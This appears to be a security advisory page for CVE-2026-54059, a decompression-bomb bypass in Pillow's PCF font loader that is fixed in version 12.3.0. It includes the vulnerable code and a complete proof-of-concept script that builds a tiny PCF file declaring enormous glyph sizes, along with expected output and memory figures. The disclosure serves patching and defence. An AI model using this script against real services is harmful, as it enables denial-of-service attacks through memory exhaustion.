CVE-2026-54059: Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
Description PIL/PcfFontFile.py loadbitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image.decompressionbombcheck(). Dimensions originate from unsigned 16-bit values: Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.
Published Jul 20, 2026
Affected packages
pillow
- Ecosystem
- PyPI
- Affected
- < 12.3.0
- Fixed in
- 12.3.0
- Check
pip show pillow
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:
xsize = right - left (max: 65535 − 0 = 65535)
ysize = ascent + descent (max: 65535 + 65535 = 131070)Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.
Vulnerable code (`PIL/PcfFontFile.py` line 224–227):
for i in range(nbitmaps):
xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled
b, e = offsets[i : i + 2]
bitmaps.append(
Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
# ↑ NO _decompression_bomb_check()!
)Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:
- Persistent attack: Provide matching bitmap data →
frombytes()succeeds → image stored infont.glyph[ch]permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data →
Image.new()allocates the full buffer →ValueError→ buffer freed → but the spike occurs before Python can respond
Steps to reproduce
Proof of Concept script:
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")
from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# PCF binary constants
PCF_MAGIC = 0x70636601
PCF_PROPS = 1 << 0
PCF_METRICS = 1 << 2
PCF_BITMAPS = 1 << 3
PCF_ENCODINGS= 1 << 5
def build_bomb_pcf(xsize, ysize):
# Properties: empty
props = struct.pack("<III", 0, 0, 0)
# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
metrics = struct.pack("<II", 0, 1)
metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
# Bitmaps: 1 glyph, empty data (transient attack)
bitmaps = struct.pack("<II", 0, 1)
bitmaps += struct.pack("<I", 0) # offset[0] = 0
bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
# Encodings: char 0x41 ('A') → glyph 0
enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
encodings += struct.pack("<" + "H"*128, *enc_offsets)
secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
(PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
hdr_size = 4 + 4 + len(secs) * 16
out = struct.pack("<II", PCF_MAGIC, len(secs))
offset = hdr_size
for stype, sdata in secs:
out += struct.pack("<IIII", stype, 0, len(sdata), offset)
offset += len(sdata)
for _, sdata in secs:
out += sdata
return out
pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size : {len(pcf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
tracemalloc.start()
try:
font = PcfFontFile(io.BytesIO(pcf))
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
print(f" Heap peak: {peak/1024**2:.2f} MB")
print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")Expected output:
[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size : 148 bytes
[*] Glyph size : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target : 23 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
C-heap allocation of ~23 MB occurred before exceptionAmplification table:
| PCF file | Glyph dims | C-heap (mode '1') | Bomb check | | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
Impact
- Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
- Confidentiality: None
- Integrity: None
- Any service loading PCF fonts from untrusted sources (e.g.,
PcfFontFile(fp)) is affected PcfFontFileis never loaded viaImage.open(), so the bomb check protection is completely absent from the entire PCF font loading path- Confirmed unpatched on
python-pillow/Pillowmainbranch as of 2026-06-07
Credited to x-forwarded-sudo, radarhere.
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x
- https://nvd.nist.gov/vuln/detail/CVE-2026-54059
- https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d
- https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
- https://github.com/advisories/GHSA-8v84-f9pq-wr9x
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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